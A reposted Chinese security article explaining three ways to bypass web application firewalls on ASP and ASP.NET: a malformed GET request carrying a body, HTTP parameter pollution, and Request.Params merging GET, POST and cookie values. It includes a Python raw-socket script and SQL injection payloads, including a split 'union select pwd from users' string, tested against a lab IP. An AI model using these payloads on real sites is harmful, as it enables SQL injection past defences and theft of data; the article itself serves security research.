淺談繞過WAF的數種方法

cnbird發表於2012-02-07

 

EMail: rayh4c#80sec.com
Site: http://www.80sec.com
Date: 2011-09-06
From: http://www.80sec.com/?p=244

0×00 前言

08年初誕生了一種SQL群注攻擊,黑客在全球範圍內對asp,asp.net加MSSQL架構的網站進行了瘋狂掃蕩。由於MSSQL支援多語句注入,黑客通過一條結合遊標的SQL語句就能將整個資料庫的欄位內容自動進行篡改,可以在網站上無差別的進行網頁木馬攻擊。

網際網路是快速更新迭代的,但是很多沒有開發能力的單位都是通過外包建立網站,網站的程式一上線就再也無人維護,很多程式存在各種漏洞無法修補,於是WAF便有了市場,現今門檻低且最能解決問題的是針對IIS/apache的軟體WAF,通常一個模組一個擴充套件就能搞定,當然也有耗資百萬千萬的硬體WAF,然而如果WAF攔截規則出現漏洞,這百萬千萬的硬體也就是一堆廢鐵。那麼WAF是否真的可以解決所有的WEB安全問題呢?所以本文主要解析一些可以繞過WAF的罕見漏洞,供安全人員參考。

0×01 Request物件的包解析漏洞.

asp和asp.net的Request物件存在一個包解析漏洞,Request物件對於GET和POST包的解析過於寬鬆,用一句話表達就是Request物件它GET和POST傻傻分不清楚,稍有點web開發經驗的同學應該知道Request接收GET,POST,COOKIE也就是GPC傳過來的資料,但是asp和.net庫內建的Request物件完全不按RFC標準來,下面我們可以做個測試:

分別將下面兩段程式碼儲存為1.asp和1.aspx

使用asp的Request物件接收t引數傳值
———————————————–
<%
Response.Write “Request:” & Request(“t”)
%>
———————————————–

使用asp.net的Request物件接收t引數傳值
———————————————–
<%@ Page Language=”C#” %>
<%
string test = Request[“t”];
Response.Write(“Request:”+test);
%>
———————————————–

使用下面的python指令碼呼叫socket傳送原始的HTTP包
———————————————–
#!/usr/bin/env python

import socket

host = ’192.168.239.129′
path = ‘/1.asp’
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

exploit_packet=”t=’/**/or/**/1=1–”
exploit_packet+=”
” * 8
packet_length = len(exploit_packet)
packet=’GET ‘ + path + ‘ HTTP/1.1

packet+=’Host: ‘ + host + ‘

packet+=’Content-Length: %s
’ % packet_length
packet+=’Content-Type: application/x-www-form-urlencoded

packet+=’

packet = packet + exploit_packet

print packet
s.send(packet)
buf = s.recv(1000)
if buf: print buf[buf.rfind(”
“):]
s.close()
———————————————–

我們傳送的原始包是:
GET /1.asp HTTP/1.1
Host: 192.168.239.129
Content-Length: 34
Content-Type: application/x-www-form-urlencoded

t=’/**/or/**/1=1–

結果返回如下:
Request:’/**/or/**/1=1–
將python測試指令碼的path改為/1.aspx測試頁返回同樣結果。

我們可以看到這是一個畸形的HTTP GET請求包,這個包的奧祕在於Content-Type和Content-Length頭,包的結構類似於一個POST包,而請求的方法是GET,最後asp和asp.net的Request物件成功的解析了這個畸形包取出了資料。

所以如果WAF沒有處理好HTTP包的內容,沿用常規思路處理GET和POST的邏輯的話,那麼這個畸形包將會毀掉WAF的基礎防禦。

0×02 被遺忘的復參攻擊.

大家應該還記得09年的HTTP Parameter Pollution攻擊,檢視[3]文件,可以發現ASP/IIS和ASP.NET/IIS的場景下存在一個復參特性,本文將利用這種的特性的攻擊簡稱為復參攻擊,用0X01裡的例子簡單的測試一下:

用GET請求傳入兩個t引數
GET http://192.168.239.129/1.asp?t=1&t=2
將返回
Request:1, 2

asp和asp.net的Request物件接收了兩個引數,並且以逗號分隔,所以便衍生出了[3]文件中的復參SQL隱碼攻擊方法:

Vulnerable code:
SQL=”select key from table where id=”+Request.QueryString(“id”)

This request is successfully performed using the HPP technique:
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

The SQL request becomes:
select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan,

我們可以看到通過巧妙的運用註釋符結合復參特性可以分割GET引數中的SQL隱碼攻擊語句,如果WAF對GET引數的處理過於簡單是不是會匹配不到攔截規則呢?

0×03 高階復參攻擊.

ASP.NET的Request物件有一個Params屬性,ASP.NET程式設計師在一些程式中會使用Request.Params[“xxx”]傳入資料,參考[4]微軟MSDN文件我們可以知道Params屬性的特性,該屬性接收GET,POST和Cookie的傳值集合,這裡我們可以修改0×01裡的例子測試一下:

使用asp.net的Request.Params方法接收t引數傳值
———————————————–
<%@ Page Language=”C#” %>
<%
string test = Request.Params[“t”];
Response.Write(“Request:”+test);
%>
———————————————–

傳送一個POST包,GET,POST,COOKIE三個方法中都帶有不同的t引數內容
———————————————–
POST http://192.168.239.129/1.aspx?t=1 HTTP/1.1
Host: 192.168.239.129
Cookie: t=2

t=3
———————————————–

結果返回
Request:1,3,2

最後得出結論,Request.Params方法接收的資料是按照GPC順序整合,看到這裡的同學再聯想到0×02的復參攻擊應該如醍醐灌頂了,我們可以將SQL攻擊語句拆分到GET,POST,COOKIE三個變數裡進行組合攻擊。想一想WAF針對這種高階復參攻擊是否防禦好了?

0×04 後話

WAF是不可能解決所有安全問題的,本文的思路歸其本源實際上是描敘了WAF處理HTTP包與服務端處理HTTP包數種差異。網際網路是不斷更新迭代的,差異存在,類似的漏洞也會存在。
本文提到了三種繞過WAF的思路,第一種是我的原創屬於0DAY狀態,第二種是參考已有的復參攻擊,其中第三種高階復參攻擊是由Safe3同學提出的,本文也是與Safe3同學討論他開發的WAF的BUG而來,所以感謝Safe3同學。
另外請大家不要將本文的內容用於非法途徑,僅供安全人員參考,謝謝。

參考:
[1].http://www.faqs.org/rfcs/rfc2616.html
[2].http://www.w3school.com.cn/asp/asp_ref_request.asp
[3].http://www.ptsecurity.com/download/PT-devteev-CC-WAF-ENG.pdf
[4].http://msdn.microsoft.com/en-us/library/system.web.httprequest.aspx


相關文章